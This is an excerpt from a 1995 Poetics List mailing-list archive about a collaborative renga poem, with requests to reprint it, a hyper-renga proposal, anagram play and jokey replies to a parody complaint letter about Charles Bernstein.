at the dry cleaners
piping hot and gloved-in somewhere unsalted, perched on
prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter
chose encore

Flaubert because we're waiting all throughout eternity for
moments to be
of such suchness. In the nooks were creams and in the
streams were hooks.
All melded like striated film leftover in the pastel seeds
of darkness
falling like a counterirritant around the manchineel.
Likewise
sandpaper juxtaposed with seasoned instruments and recently
soft fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles
considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to
sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go
ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
shimmy toward the portabello traction

This poem grew into existence during July and August of 1995, and at the present writing shows no sign of ceasing to grow and evolve. It appeared in ever-increasing increments, sometimes branching off into variant forms, on the Poetics List owned by Charles Bernstein and serviced by the SUNY Buffalo Listserver. It was supposed to be a "renga," a Japanese form in which two or three poets spend an hour or two adding to or capping each other's lines, making an interconnected series of tankas. The complete rules for the renga are too complex to present here and are in any case irrelevant, since

(at least as far as I can tell) this is a pretty free-form renga. I have not attempted to go back and credit all the individual poets with their lines, and I cannot remember and do not wish to research this complicated subject. To do so completely would produce something like a volume of the variorum Shakespeare. I think that Ron Silliman had a hand in it early on, and that Sheila E. Murphy may have contributed the last line or two, at least. I regret that none of it is mine, and that I cannot pin down any further whose lines are whose. At that time there were some 245 members of the list, and perhaps fifty active participants. Perhaps Marjorie Perloff, a list member, can find a graduate student who could use this renga for a dissertation and straighten all this out.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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242. Charles Bernstein
Agency (1)
Sun 10 Sep 1995

This message intentionally left blank.

_

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243. Loss Glazier
Re: permission
Sun 10 Sep 1995

Grateful to Tom Kirby-Smith for putting together a version. I think
it's terrific that he wants to use it in his book. At the same time,
I'd like to place a copy of this version in the collaborative poem
section of the EPC. So I ask Tom if it is ok to use his version
(please reply to be directly: [redacted]) and to second
the offer to the group in case anyone wishes to object.

>
> I would like to ask permission to include a section, or version, or
> segment, --maybe it should be called a cutting or a slice or few
> verterbrae or a half-pound-- of the renga in a book the title of
> which is BEYOND FREE VERSE. At first I just wrote it up as below
> because it seemed to me that it was like asking permission to print a

> picture of a snake dance.
>
> But then I thought maybe it would be best to allow anyone who wants
> to claim credit for any of it to do so.
>
> Is this OK?
>
> Here is my present text. I am afraid that I do not wish for
> suggestions as to taking some other half-pound of it--I liked this
> hunk pretty well. But please let me know if what I say about it seems
> unfair. I realize that to some people this will be sloppy
> scholarship, but I never did get a Ph.D.
>
> Also, the format is not right in this message, but that's just my
> mail server's way of doing things.
>
> **********
> In the books were dreams and in the dreams were books.
 ...
 ...
 ...
 etc.

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244. Gwyn McVay
Re: Agency (1)
Sun 10 Sep 1995

Keith Tuma = make it hut
Carolyn Forche = clan of cherry

Gwyn McVay
[redacted]

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245. Keith Tuma
Re: Agency (1)
Sun 10 Sep 1995

Ah shucks folks, I'm peering in the tent here and it doan appear that the master of ceremonies actually going to disgust agency. Adjustin his hat now.

↑ Index

246. Keith Tuma
Re: Agency (1)
Sun 10 Sep 1995

Nefarious typos bleat/bleed.

↑ Index

247. Joe Amato
majik names...
Sun 10 Sep 1995

joe amato = eat a mojo

↑ Index

248. Loss Glazier
Re: permission
Sun 10 Sep 1995

Forwarded message:
From: Loss Glazier <[redacted]>
Subject: Re: permission
To: [redacted]
Date: Sun, 10 Sep 1995 15:18:55 -0400 (EDT)
Cc: [redacted] (Loss Glazier)
Content-Length: 591

Tom,

> *How about extracting _all_ the versions from the archives, and combining them into a hyper-renga, where the reader gets to choose which line to follow next?*
> *...*
> *This would give a rich profusion of possible poems, and allow the reader to capture some of the interactivity that has been characteristic of this vast, mutating rengasaurus.*

Of course this is a terrific idea. Such a series of files would need to be assembled, formatted, then marked up. I'd certainly be happy to provide room for these files in the EPC if anyone were interested in preparing them...

Loss

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249. **Aldon L. Nielsen**
Re: errata sweet
Sun 10 Sep 1995

No, it _is_ _Callalloo_ for the special issue on Harris, not _Caliban_, though that would be appropriate --

Nate's book of criticism is from Cambridge, not Oxford (it would be $20.00 cheaper from Oxford, and maybe two more people could afford to but their own copies) --

Nice work, but the name is Nielsen, not Nielson -- need more e"s in that anagram -- see Perec --

Charles -- what message? what list? what whole?

↑ Index

250. **Aldon L. Nielsen**
Re: zingers
Sun 10 Sep 1995

---

on second look I see George's trick -- the anagram is right, it's the citation of the name that preceds it that's out of kilter! Nifty!

sincerly,
Nodla Nnyl Neslein (Laden to you)

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251. **CAROLYN L. FORCHE-MATTISON**
Re: errata sweet
Sun 10 Sep 1995

Okay, Aldon,

Lease no lid?

--Carolyn

↑ Index

252. **david ayre**
SPECIAL AGENCY
Sun 10 Sep 1995

My complaint about Charles Bernstein:

It seems that before I launch into this letter, I should tell you that barbarism is the driving force behind Charles Bernstein's doctrines. It is worth noting at the

outset that Bernstein's politics will leave behind a wake of rotten reaction sooner than you think. By this, I mean that to him, acting like vainglorious roommates is a lot of fun. He leaves me no choice but to leave the country. I suspect that it can be safely said that it's shocking just how haughty he can be. Only Bernstein could feel that militant artists are any better than drugged-out ruffians.

What this underlines, I think, is that one could argue that he frequently progresses into displays of authority he doesn't have. His ignorant fantasy fits neatly into his detestable model of society. The world would be a much better place to live if he stopped trying to stir up trouble. In order for us to realize more happiness in our lives, we need to understand that Bernstein is devoid of all social conscience. It's my hunch that he leads me to believe that he is abusive. I want to talk about the big picture: that is no excuse for illiterate slobs. He treats inconsiderate twits as objects. It's not that I have anything against boneheads in general. It's just that Bernstein is living in a dream world.

As it turns out, he seems to think that he is right and everybody else is wrong. His statements will cause more harm than good. Essentially, he can't discuss anything without talking about vigilantism. A small child really couldn't understand that anarchism is irrelevant here. But any adult can easily grasp that Bernstein's idea of a good time is to torture disdainful hippies. It may be obvious but should nonetheless be acknowledged that I got off on a tangent.

Bernstein's little world is far from reality. Regardless of what Bernstein seems to maintain, his beliefs are attributable to an ignorance born of fear. So don't tell me that I'm bewildered by the abominable pretentious nature of his practices just because he thinks he can impress us by talking about "unexceptionableness this" and "phytosociological that". In theory, what he seems to be forgetting is that he is up to no good. But in reality, the use of long run-on sentences, bad metaphors, multiple misspellings, and inappropriately-placed $5 words like "reticuloendothelial" does not help his cause at all. I am not mistaken when I say that you'd think he would see how stingy and unrestrained he appears. Bernstein has the gall to think that uncouth ignoramuses aren't ever anti-democratic. Like I said, he represents a new breed of uncivilized polemics.

Ok, I admit that it disturbs me that these flabby fraternity fellows have so little tolerance for differing points of view. But he is deliberately manipulating the facts. There is little doubt that he can't throw away his integrity and expect the world to respect him for it. I had a brief conversation recently with some sappy teenagers who were trying to destroy our moral fiber. That conversion convinced me that Bernstein's desire to influence the attitudes of dominant culture towards any environment or activity that is predominantly vapid is

incontrovertible evidence that he harbors some foolish grudges. I feel this way because it would please Bernstein greatly to draw unsuspecting paranoiacs into the orbit of heinous perfidious fault-finders. So let me make it clear that if he is allowed to marginalize me based on my gender, race, or religion, the implications can be widespread. Should we blindly trust such uncontrollable self-deceiving porn stars?

In that respect, we can say that he is trying to deflect attention from his ugly arguments. As for the lies and exaggerations, I am merely pointing out what I have observed. It is important to realize that it's a well-known fact that I don't see how Bernstein can be so crude. He gives new meaning to the word "socially inept".

I'm indubitably afraid of smarmy crybabies. His pigheaded hateful attitudes are
a shout to the world that, eventually, he will ruin my entire day. I'm really
tired of grumpy virgins. To put it another way, I can't let Bernstein undermine
the current world order. I am asking the readers of this letter to be aware that
yellow-bellied jerks like him often think they have the right to foster cameralism
at every opportunity, by which I mean that he has a long, commercialism-infested
history of attempts to make my blood curdle. His particular brand of interventionism
will abandon me on a desert island by the next full moon. These are situations where
certain viewpoints are appropriate and there are situations where they are not.
No matter what Bernstein thinks, Bernstein is off his rocker.

If you need proof that you can see exactly where this is going, then just take a look
at him. He always sounds like he's reading a prepared speech. He is obviously trying
to bombard me with insults, and unless we act now, he'll certainly succeed. The only
way for Bernstein to redeem himself is to stop being so filthy.

I imagine that none of what he says carries any weight. I don't see why he wants to perpetuate myths that glorify sadism. A day without Bernstein would be like a day without gloomy unpatriotic fascism. His actions are not just about antidisestablishmentarianism but also about colonialism.

He never seems to listen to anyone else's positions and reasoning. His conclusions
represent explicitly his overly accepting attitude towards unctuous kleptomaniacs.
I urge you to join me in my quest to fight disagreeable bourgeoisie. The world would
be better off if Bernstein had never been born, period. To put it crudely, he is not
known for interpreting facts rationally or objectively. The continuing misunderstandings that some sleazy deadheads seem to have merely underscore
this
point. And that, in my view, is our real problem.

↑ Index

253. **david ayre**
I'm dreadfully sorry !
Sun 10 Sep 1995

Dearest recipients !

I cannot believe my most recent action ! For those of you who received my complaint letter about Charls Bernstein, (that would be the entire list wouldn't it ! Oh dear me.... how shall i... OH !), i apologize. This letter was not meant for all of you. You see i am new here and am very eager and full of vim for this Super Information Highway. It's so amazing ! All this information !

I am also a poet, like many of you, HELLO FRIENDS! I want to share with you some of my poems. Are you still interested in Rengas ? I have 54 pages of them i will post next week.

So good to be here. Feels like home !

Bye !

↑ Index

254. **beard**
Re: permission
Sun 10 Sep 1995

Loss:
>Grateful to Tom Kirby-Smith for putting together a version. I think
>it's terrific that he wants to use it in his book. At the same time,
>I'd like to place a copy of this version in the collaborative poem
>section of the EPC.

How about extracting _all_ the versions from the archives, and combining them into a hyper-renga, where the reader gets to choose which line to follow next? You'd end up with a branching structure:

```
        |
       / \
      |  /\
     / \ | \
    /| /\| /\
```

This would give a rich profusion of possible poems, and allow the reader to capture some of the interactivity that has been characteristic of this vast, mutating rengasaurus.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

255. **Tony Green**
Re: no way it's renga, forgive
Sun 10 Sep 1995

---

sorry Charles Alexander missed out the typo about the weather woman's "beasts" someone shd pass that typo on to Joan Retallack

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

256. **Joseph Zitt**
Re: permission
Sun 10 Sep 1995

On 10 Sep 95 at 15:18, Loss Glazier wrote:

> *Of course this is a terrific idea. Such a series of files would need to be assembled, formatted, then marked up. I'd certainly be happy to provide room for these files in the EPC if anyone were interested in preparing them...*

If someone will be willing to do the assembling, I'd be happy to do the programming to create the Web pages. I've already done some sketching for how to do this. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

257. Tony Green
Re: your Finnish-american cousin
Sun 10 Sep 1995

I can add to the decline of poetry in Compendium -- going in there 1977/8 and checking out the Creeley on shelf (Marion Boyars editions mainly) and at the counter was told that Creeley had nothing to say that was interesting --- politically.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

258. Loss Glazier
Re: I'm dreadfully sorry !
Sun 10 Sep 1995

> *I want to share with you some of my poems. Are you still interested in Rengas ? I have 54 pages of them i will post next week.*

David, It is probably not a good idea to post such a large document to this list. It could overload the accounts of many people...

↑ Index

259. **George Bowering**
Re: I'm dreadfully sorry !Me too.
Sun 10 Sep 1995

Hey, that's cool, and I have 112 renga, which I have also translated into French and Danish. I'll send them 10 at a time.

↑ Index

260. **George Bowering**
Re: SPECIAL AGENCY
Sun 10 Sep 1995

I'd liketo add something to the comments about Bernstein.

When he was here for the Blaser fest I was just disgusted by the way he ate french fries. Agh, picked up the ketchuppy ones with his bare fingers and jammed them sideways into his mouth, while talking about USAmerican poetry.

AND have you looked? He was wearing brown socks with black shoes.

↑ Index

261. **George Bowering**
Re: majik names...
Sun 10 Sep 1995

Cris Cheek: Check Sire

↑ Index

262. **George Bowering**
Re: Agency (1)
Sun 10 Sep 1995

Charles Smith : Harmless Itch

↑ Index

263. **George Bowering**
Re: Two rengs dont make a write
Sun 10 Sep 1995

> El otro Jorge wrote:
> Sheila wrote:
> > Jorge wrote:
> > >> >> >> > > > > > In the books were dreams and in the dreams were books.>

> > >> >> >> > > > > > And flew through windows '95, lightning green and fine
> > morning
> > >> >> >> > > > > > First inverted whistle of a cardinal in the poplar
> > >> >> >> > > > > > The book and the oboe on the grass under sun and cloud
> > >> >> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds
> > >> >> >> > > > > > The caravan of windows to what they flee
> > >> >> >> > > > > > These lace curtains, more gauze than bondage, more
> > >> >> >> > > > > > Mollycoddled than aware, thin-spined and pebbling
> > >> >> >> > > > > > but narrow in the waist or waspish Sunday years ago
> > >> >> >> > > > > > Over coffee topped with whipped lads, the Times blowing
> > >> >> >> > > > > > & opining, heavy humid air, cum amusing against the
> > >> >> >> > > > > > bleached ribcage ripcorded into compassed wind
> > >> >> >> > > > > > kissing the weatherwoman between her beasts as she
> > >> >> >> > > > > > gives gracious problem: fanatical snacks, landscape of
> > >> >> >> > > > > > flicka son of thunderhead and the storm in the glass of
> > water'
> > >s
> > >> >> >> > > > > > halfway pertinent incision we keep making safe for ignoranc
> e
> > >> >> >> > > > > > (inspection
> > >> >> >> > > > > > denied for knowing how credenza was meant) &> > neo-colonizin
> > >g
> > >> >> >> > > > > > pockets in small furniture intended house sequentially
> > several
> > >> >> >> > > > > > mountains away but it wasn't, you know, a big tango
> > >> >> >> > > > > > when the attorney general came, selah hales said, "Dias,
> > oh,ho
> > >,
> > >> >> >> > > > > > kook!"

> > >> >> >> > > > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacc
> o
> > >> >> >> > > > > > warehouse, curls
> > >> >> >> > > > > > no ideas but the woven fabric the texture so to speak was
> > at t
> > >he
> > >> >> >> > > > > > dry cleaners
> > >> >> >> > > > > > piping hot and gloved-in somewhere unsalted, perched on
> > >> >> >> > > > > > prescience
> > >> >> >> > > > > > the chair is sad, alas, and i've lusted tootles' livers
> > >> >> >> > > > > > the odor day toy a cello day dis chevys a bo coo daughter
> > chos
> > >e
> > >> >> >> > > > > > encore
> > >> >> >> > > > > > Flaubert because we're waiting all through eternity for
> > >> >> >> > > > > > moments to be
> > >> >> >> > > > > > of such suchness. In the nooks were creams and in the strea
> ms
> > >> >> >> > > > > > were hooks.
> > >> >> >> > > > > > All belled like striated film leftover in the pastel seeds > of
> > >> >> >> > > > > > darkness
> > >> >> >> > > > > > falling like a counterirritant around the manchineel.
> > Likewise
> > >> >> >> > > > > > sandpaper juxtaposed with seasoned instruments and
> > recently so
> > >ft
> > >> >> >> > > > > > fruit
> > >> >> >> > > > > > of subject's object status, violent transformation
> > >> >> >> > > > > > la Ste. Therese into beaming cumulus apokoinu switchback
> > >> >> >> > > > > > and in the u-turns were bookmobiles rounding angles
> > considered
> > >> >> >> > > > > > shrill as pine left in the acres to be aging

> > >> >> >> > > > > > flawlessly, flutes sing genderless in trio, surprised
> > >> >> >> > > > > > by how quiet effort really is or is not, fast enough to sle
> ep
> > >> >> >> > > > > > through thunderstorms, arm over thigh until light shakes
> > >> >> >> > > > > > petals free of names that rain across known skin forgotten
> > >> >> >> > > > > > alive in our hearse hurts, projective nurse if she is to go
> > >> ahead
> > >> >> >> > > > > > and dance, composing instead of straining muscles, far eyes
> > >> >> >> > > > > > saunter lope pentecost beam operator will you cockpit
> > >> >> >> > > > > > out, transplanted organs speak, the idiom
> > >> >> >> > > > > > inseams, a snare as solvently unequal-- the power
> > >> >> >> > > > > > uncreased although each snare still trembles quantum
> > >> >> >> > > > > > which explains why the pump is busted and why
> > >> >> >> > > > > > he preferred whole afternoons on the phone to that
> > >> >> >> > > > > > crap about not having a cousin on the moon
> > >> >> >> > > > > > capable of keeping the canoe right way up in the cool
> > >> >> >> > > > > > prose of the upper Hudson, dinner's at seven so
> > >> >> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,
> > >> >> >> > > > > > heats me up in the sleaze," it's like a huge dose
> > >> >> >> > > > > of familiarity. I am storing radiance for later use
> > >> >> >> > > > > > I know the war-whoop in each dusty narrative
> > >> >> >> > > > > > among the invoices and the difference engines
> > >> >> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
> > >> >> >> > > > > collecting the stamp hinges that come in on the breeze
> > >> >> >> > > delicate lace flies into pelican Bills in the house
> > >> >> >> > of narration with partners of good moisture. Here, touch my
> > >> >> >> > > < ebullience with a token gesture of sauce, of the red stuff.
> > >> >> >> I have a lot of duende in the freezer & we can defrost some
> > >> >> > > woods on a snowy evening, my horse is lovely dark and deep

> > >> >> as penitence, but let's elude the shakes and drear, get lost in our
> > palaver
> > >> > have tongue will travel not a binge of harmony which in the end goes
> > >> meerschaum on us till we blink ourselves to creeping where the
> > >> sublime is cows bathing in starlight. Give temporality a rest, for
> > widest space succombs to onslaughts of hidden porchlight in the latitude
> > that she has given his longitude. Depth is directly stated. A signal
> event of the first order, observed by St. Petersburg poets on horses

↑ Index

264. Ann Lauterbach

Re: POETICS Digest - 8 Sep 19...

Sun 10 Sep 1995

This is a variation of call waiting. I can't figure out how to read the messages, I just get the headers. But I wanted to say hello to all you energetic communicators out there this cool Sunday night in New York. (Think of it as a handwritten note). Ann Lauterbach

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265. Charles Alexander

Re: no way it's renga, forgive

Sun 10 Sep 1995

> *sorry Charles Alexander missed out the typo about the weather woman's "beasts" someone shd pass that typo on to Joan Retallack*
>
> *Tony Green,*

Don't assume it was missed. Miss is mission, mess is messiah, moss is motion.
Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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266. Jeffrey Timmons
Re: SPECIAL AGENCY
Sun 10 Sep 1995

what is with this david ayre? i didnt even read this . . . and i am not sure that i should.

Jeffrey Timmons

↑ Index

267. Louis Cabri
(no subject)
Mon 11 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
condemmed.
promised what she practiced as triangular blue feats soothed
stunned images into form, saying a need, similar days
to those not before, yet stored, whose sifted haze
flushed a hick into dialogue with his own hack's

↑ Index

268. Thomas Bell
(no subject)
Mon 11 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee

These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
condemmed.
promised what she practiced as triangular blue feats soothed
stunned images into form, saying a need, similar days
to those not before, yet stored, whose sifted haze
flushed a hick into dialogue with his own hack's
>clock ticking over and forever unto the end of

↑ Index

269. Sheila E. Murphy

Re: Two rengs dont make a write

Mon 11 Sep 1995

Jorge wrote:
> Sheila wrote:
>> Jorge wrote:
>> >> >> >> > > > > > In the books were dreams and in the dreams were books.>
>> >> >> >> > > > > > And flew through windows '95, lightning green and fine
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>> >> >> >> > > > > > First inverted whistle of a cardinal in the poplar
>> >> >> >> > > > > > The book and the oboe on the grass under sun and cloud
>> >> >> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds
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>> >> >> >> > > > > > Over coffee topped with whipped lads, the Times blowing
>> >> >> >> > > > > > & opining, heavy humid air, cum amusing against the
>> >> >> >> > > > > > bleached ribcage ripcorded into compassed wind
>> >> >> >> > > > > > kissing the weatherwoman between her beasts as she
>> >> >> >> > > > > > gives gracious problem: fanatical snacks, landscape

of
>> >> >> >> > > > > > flicka son of thunderhead and the storm in the glass
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>> water'
>> >s
>> >> >> >> > > > > > halfway pertinent incision we keep making safe for
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>> >> >> >> > > > > > (inspection
>> >> >> >> > > > > > denied for not knowing how credenza was meant) &
>> neo-colonizin
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>> >> >> >> > > > > > pockets in small furniture intended house
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>> several
>> >> >> >> > > > > > mountains away but it wasn't, you know, a big tango
>> >> >> >> > > > > > when the attorney general came, selah hales said,
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>> >,
>> >> >> >> > > > > > kook!"
>> >> >> >> > > > > > Edward Kennedy Ellington! "Tootin' Through the
Roof"
Tobacc
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>> >> >> >> > > > > > no ideas but the woven fabric the texture so to speak
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>> >he
>> >> >> >> > > > > > dry cleaners
>> >> >> >> > > > > > piping hot and gloved-in somewhere unsalted,
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>> >> >> >> > > > > > prescience
>> >> >> >> > > > > > the chair is sad, alas, and i've lusted tootles' livers
>> >> >> >> > > > > > the odor day toy a cello day dis chevys a bo coo
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>> >> >> >> > > > > > encore
>> >> >> >> > > > > > Flaubert because we're waiting all throughout
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>> >> >> >> > > > > > moments to be
>> >> >> >> > > > > > of such suchness. In the nooks were creams and in the
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>> >> >> >> > > > > > were hooks.
>> >> >> >> > > > > > All melded like striated film leftover in the pastel seeds
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>> >> >> >> > > > > > darkness
>> >> >> >> > > > > > falling like a counterirritant around the manchineel.
>> Likewise
>> >> >> >> > > > > > sandpaper juxtaposed with seasoned instruments and
>> recently so
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>> >> >> >> > > > > > fruit
>> >> >> >> > > > > > of subject's object status, violent transformation
>> >> >> >> > > > > > la Ste. Therese into beaming cumulus apokoinu switchback
>> >> >> >> > > > > > and in the u-turns were bookmobiles rounding angles
>> considered
>> >> >> >> > > > > > shrill as pine left in the acres to be aging
>> >> >> >> > > > > > flawlessly, flutes sing genderless in trio, surprised
>> >> >> >> > > > > > by how quiet effort really is or is not, fast enough to sle
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>> >> >> >> > > > > > through thunderstorms, arm over thigh until light shakes
>> >> >> >> > > > > > petals free of names that rain across known skin forgotten
>> >> >> >> > > > > > alive in our hearse hurts, projective nurse if she is to go
>> >> ahead
>> >> >> >> > > > > > and dance, composing instead of straining muscles, far
eyes
>> >> >> >> > > > > > saunter lope pentecost beam operator will you cockpit
>> >> >> >> > > > > > out, transplanted organs speak, the idiom
>> >> >> >> > > > > > inseams, a snare as solvently unequal-- the power

>> >> >> >> > > > > > uncreased although each snare still trembles quantum
>> >> >> >> > > > > > which explains why the pump is busted and why
>> >> >> >> > > > > > he preferred whole afternoons on the phone to that
>> >> >> >> > > > > > crap about not having a cousin on the moon
>> >> >> >> > > > > > capable of keeping the canoe right way up in the cool
>> >> >> >> > > > > > prose of the upper Hudson, dinner's at seven so
>> >> >> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,
>> >> >> >> > > > > > heats me up in the sleaze," it's like a huge dose
>> >> >> >> > > > > of familiarity. I am storing radiance for later use
>> >> >> >> > > > > > I know the war-whoop in each dusty narrative
>> >> >> >> > > > > > among the invoices and the difference engines
>> >> >> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
>> >> >> >> > > > > collecting the stamp hinges that come in on the breeze
>> >> >> >> > > delicate lace flies into pelican Bills in the house
>> >> >> >> > of narration with partners of good moisture. Here, touch my
>> >> >> >> > > > < ebullience with a token gesture of sauce, of the red stuff.
>> >> >> >> I have a lot of duende in the freezer & we can defrost some
>> >> >> > > woods on a snowy evening, my horse is lovely dark and deep
>> >> >> as penitence, but let's elude the shakes and drear, get lost in our
>> palaver
>> >> > have tongue will travel not a binge of harmony which in the end goes
>> >> meerschaum on us till we blink ourselves to creeping where the
>> >> sublime is cows bathing in starlight. Give temporality a rest, for
>> widest space succombs to onslaughts of hidden porchlight in the latitude
>> that she has given his longitude. Depth is directly stated. A signal
slated to be read ingratiates politicos and blond ones also shaven vortices

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270. Sheila E. Murphy

Re: permission

Mon 11 Sep 1995

PERMISSION GRANTED FROM ME (to use the renga)! Thanks for the good idea!

Sheila Murphy

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271. Sheila E. Murphy
Re: SPECIAL AGENCY
Mon 11 Sep 1995

Re: Tom's request for permission, permission granted! Thanks for the idea. I can't take credit for the end, as you have mentioned. I'm somewhere in the middle of the festival (and glad to be).

Sheila E.

↑ Index

272. Gabrielle Welford
Re: SPECIAL AGENCY
Mon 11 Sep 1995

On Sun, 10 Sep 1995, George Bowering wrote:

> I'd liketo add something to the comments about Bernstein.
>
> When he was here for the Blaser fest I was just disgusted by the way
> he ate french fries. Agh, picked up the ketchuppy ones with his bare
> fingers and jammed them sideways into his mouth, while talking about
> USAmerican poetry.
>
> AND have you looked? He was wearing brown socks with black shoes.
>
I cannot believe this. I mean, like, I'm really disgusted man. Do go on....

↑ Index

273. Rod Smith
Re: SPECIAL AGENCY
Mon 11 Sep 1995

Hello David! Welcome to the list. As a sleazy deadhead of the first order & having traveled in Tibet and spoken with many lamas (not Lamas, mind you) your appearance here was prophecied unto me & we wld like to welcome you to our boring Williamsian hullabaloo & say that we agree w/ everything you said abt Charles Bernstein & are hoping he will consider stepping in for Jerry Garcia so that the transparent evilisms of post-industrial poetry & music might be more easily located when the time of destruction arrives.

I don't have a watch, but I like to.

This transcript is in a modified Conversation Analysis transcription method. All *uh*s and *um*s are recorded as well as cut-offs (abruptly cutting off a word in mid-utterance, indicated by a hyphen at the end of the word) and restarts (repeating or rephrasing what same speaker just said). Also, punctuation is used to indicate intonation. A comma (,) indicates a falling-into-rising tone, similar to the intonation used in counting or listing items. A period (.) indicates a falling tone, not necessarily the grammatical end of a sentence. Pauses are indicated by a period within parentheses. Longer pauses can be timed and may be indicated in tenths of seconds within parentheses -> (.2). Words in caps are stressed slightly more than others. (hhh*) indicates inhalation; (hhh) indicates exhalation; asterisks around words indicate that they are spoken at a lower volume than surrounding speech.

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274. Wystan Curnow
Re: SPECIAL AGENCY
Mon 11 Sep 1995

Dear David, You won't catch me taking your post at face value, no siree! If I have one complaint about this list, its the extraordinary failure of its members to detect irony. Is this a function of the technology i ask myself or of the much vaunted American innocence (American innocence??*!!) Well, David, you can't fool me. Your address is MINDLINK. BC. You must be having me on. My considered opinion is that you ARE Charles Bernstein. The messge he (Bernstein) claimed to post shortly before your own was very suspicious: This Message Intentionally Left Blank. I got the allusion to the opening lines of Bruce Andrews' CONFIDENCE TRICK immediately, and thus the reference to his own list leadership. And, of course, recalled the many resonant 'blank' phrases penned by Arakawa and Gins about whom Bernstein (you) have written so eloquently. From TO NOT TO DIE for instance:'Each neighbourhood, nest of fields, acquires a momentum of its own: lets loose a forming blank: this is a blank screen as much as a blank projection.' And then

The many-hinged, the cleaved

During the cleaving something becomes apparent and something remains blank

A group of cleaving, transferring in cleaving, an image or a blank

In the sweep of cleaving, the sweep of appearance or disappearance.

So, I'm sorry, this outburst of self-hatred, does not change one aorta my loyalty to you,or--and I say this knowing full well there is a stain of truth to George's cruel jabs--or lessen one smidgeon your undaunted charm. yours truly Wystan

↑ Index

275. Kevin Killian
Re: I'm dreadfully sorry !
Mon 11 Sep 1995

I'm sorry, too, that our sex games got so far out of hand. Yes, I, Kevin Killian, let us whole thing go too far. I should never have pushed Dave Ayre to the very limits of pain and pleasure. It was I who force him to say mean things about the man he loves most deeply in all the world-in this case, Charles Bernstein-before I let him touch me. I got this idea out of Proust, vol 3 I believe, when the evil girl forces the musician's daughter to bring out the picture of the dead father while they make love in front of it, bringing tears to the daughter's eyes, tears of shame, tears of remorse, tears of a dark lust that neither Dave nor I can forsake for the sake of propriety or any other motive.

Dave, Dave, did you have to push that send button and broadcast our FOLIE all over the known universe!

There's nothing worse, as Proust always said, than an uppity bottom. Sorry, all! And how could you, Charles, have known what a Proustian part you were playing in this age old drama of revenge, suspense, and long distance love affairs?

Goodbye.

> *So good to be here. Feels like home !*

Wait til I get you home young man!

> *Bye !*

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276. Kevin Killian
A happy result of a long process
Mon 11 Sep 1995

I know some of you are tired of the whole renga ordeal, but this is my take on the subject.

I was asked to contribute to an anthology of "erotica" (ie porn) called "Switch Hitters" (from Cleis Press) the premise being, everything else being equal, that lesbians would write gay male erotica and gay men try our hands at lesbian erotica. The editors encouraged me, saying that I, I Kevin Killian, had one advantage - because I, unlike many of the other male contributors, have actually seen a vagina.

Still I was stumped for a topic, no, what would Henry James call it, a donnee!

So when the renga began to appear, I found it! My story, "Renga," takes place at a writers' colony in Connecticut, the narrator is a New Formalist called Jane, whose tired old poetry has begun to bore even herself, tho it has won many prizes. A young girl comes to her bungalow every morning with her breakfast-this girl, an aspiring, perky language writer, re-invigorates Jane physically and changes her entire approach to poetics when the two collaborate on a renga together. (And much else, since the editors demand 1 sex act on every two pages.) All this on the sunny beaches of Long Island Sound and the exquisite, semi-secluded grounds of the writers' colony.

When I was casting about for a name for this vibrant character, the maid, I was calling her "Karen"-don't know why! But Dodie suggested, "Lee Ann"-don't know why! Anyhow the story was finished, accepted, look for it in February, and thanks everybody for all your assistance and inspiration . . . you will all recognize your individual lines of poetry for sure.

Okay-see you!

↑ Index

277. W. Northcutt

anagrams

Mon 11 Sep 1995

Sorry, this is directed off the list, and probably unfair....

